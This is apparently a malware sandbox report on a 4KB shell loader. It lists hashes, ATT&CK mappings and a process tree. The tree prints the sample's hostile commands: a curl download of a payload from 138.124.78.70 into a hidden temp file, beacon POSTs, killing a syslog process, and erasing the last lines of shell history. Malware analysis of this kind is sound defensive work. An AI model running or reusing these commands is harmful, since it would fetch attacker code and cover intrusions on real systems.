5e6344e847341634933353ce78815fd570bf4f6a9f4f9fc5e12a02be98503bc9

Analysis

max time kernel
5s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/10/2026, 18:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
87da77e63a37
Size 4KB
Sample261022-w2ql8sew2x
SHA256 5e6344e847341634933353ce78815fd570bf4f6a9f4f9fc5e12a02be98503bc9
MD5 3b4264c60d232cbd6d3839b48c93d8ad
SHA1 c154dc459a1246f9dee3fba78361a20483fdd2c9
SHA512 e2ac06a026656c06bb787098e2ddd5d015d92fda502cfd5e69c4d54e29d996777a987edab7b9913be9c3b6a4d6ae19c9095ea2b56a019ecc246ecef4d2f891fe
SSDEEP 48:MZ3MfgnkJjzGYIL2rLm3kxGoWpz4TSQRVT0bzfC3/7E/mGXIGwztzhSEzBTYmzE0:dgnCjhIAlxGrhQnQ/NIGqm8Uu
TLSH
T135A13FF6F6A4B932790C927E7A9C10902E93197F92E47DA99043BC18542C18C727C2B9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

credential_access defense_evasion discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads Bash history 1 TTPs 1 IoCs

Adversaries may search the bash command history on compromised systems for insecurely stored credentials.

credential_access

Bash History

T1552.003

pid	Process
787	sed

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
771	base64

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/374/cmdline	pkill
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/346/cmdline	pkill
File opened for reading	/proc/671/cmdline	pkill
File opened for reading	/proc/726/status	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/36/status	pkill
File opened for reading	/proc/72/status	pkill
File opened for reading	/proc/84/status	pkill
File opened for reading	/proc/388/cmdline	pkill
File opened for reading	/proc/715/status	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/78/cmdline	pkill
File opened for reading	/proc/111/cmdline	pkill
File opened for reading	/proc/126/cmdline	pkill
File opened for reading	/proc/374/status	pkill
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/73/cmdline	pkill
File opened for reading	/proc/683/status	pkill
File opened for reading	/proc/732/status	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/688/status	pkill
File opened for reading	/proc/73/status	pkill
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/125/status	pkill
File opened for reading	/proc/348/status	pkill
File opened for reading	/proc/671/status	pkill
File opened for reading	/proc/686/status	pkill
File opened for reading	/proc/758/status	pkill
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/763/cmdline	pkill
File opened for reading	/proc/375/cmdline	pkill
File opened for reading	/proc/396/cmdline	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/76/status	pkill
File opened for reading	/proc/160/status	pkill
File opened for reading	/proc/722/cmdline	pkill
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/36/cmdline	pkill
File opened for reading	/proc/24/cmdline	pkill
File opened for reading	/proc/83/cmdline	pkill
File opened for reading	/proc/175/cmdline	pkill
File opened for reading	/proc/444/status	pkill
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/37/cmdline	pkill
File opened for reading	/proc/70/status	pkill
File opened for reading	/proc/75/cmdline	pkill
File opened for reading	/proc/111/status	pkill
File opened for reading	/proc/726/cmdline	pkill

/tmp/87da77e63a37
/tmp/87da77e63a37
1⤵
PID:726
- /bin/date
  date "+%s"
  2⤵
  PID:731
- /usr/bin/whoami
  whoami
  2⤵
  PID:740
- /usr/bin/head
  head -1
  2⤵
  PID:744
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:745
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:749
- /bin/mktemp
  mktemp -d
  2⤵
  PID:751
- /bin/mkdir
  mkdir -p /root/Library/Caches/com.apple.frameworks
  2⤵
  PID:753
- /usr/bin/id
  id -u
  2⤵
  PID:757
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:762
- /usr/bin/head
  head -1
  2⤵
  PID:761
- /usr/bin/pkill
  pkill -9 -f com.apple.syslogd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:763
- /bin/sleep
  sleep 0.2
  2⤵
  PID:764
- /usr/bin/base64
  base64 -D
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:771
- /usr/bin/head
  head -c8 /dev/urandom
  2⤵
  PID:773
- /usr/bin/od
  od -An -tx1
  2⤵
  PID:774
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:775
- /bin/uname
  uname -m
  2⤵
  PID:778
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"loader_start\",\"rid\":\"d294bb4ca90e7402\",\"src\":\"http://138.124.78.70/2696c7f9d97b3b?force=1\"}" -m 5
  2⤵
  PID:777
- /usr/bin/id
  id -u
  2⤵
  - Reads runtime system information
  PID:780
- /usr/bin/getconf
  getconf DARWIN_USER_CACHE_DIR
  2⤵
  PID:782
- /bin/sed
  sed -i "\$d" /root/.zsh_history
  2⤵
  - Reads runtime system information
  PID:785
- /usr/bin/curl
  curl -kfsSL --connect-timeout 20 --max-time 900 --retry 3 --retry-delay 2 --retry-all-errors "http://138.124.78.70/9e53ca10?force=1" -o /tmp/tmp.4QgUvLZAKb/.aFZH3D
  2⤵
  PID:786
- /bin/sed
  sed -i "\$d" /root/.bash_history
  2⤵
  - Reads Bash history
  PID:787
- /usr/bin/id
  id -u
  2⤵
  PID:789
- /bin/rm
  rm -rf /tmp/tmp.4QgUvLZAKb
  2⤵
  PID:793
- /usr/bin/curl
  curl -sX POST -H "Content-Type: application/json" -d "{\"e\":\"download_fail\",\"rid\":\"d294bb4ca90e7402\",\"src\":\"http://138.124.78.70/2696c7f9d97b3b?force=1\"}" -m 3
  2⤵
  PID:792

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Unsecured Credentials

T1552

Bash History

T1552.003

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads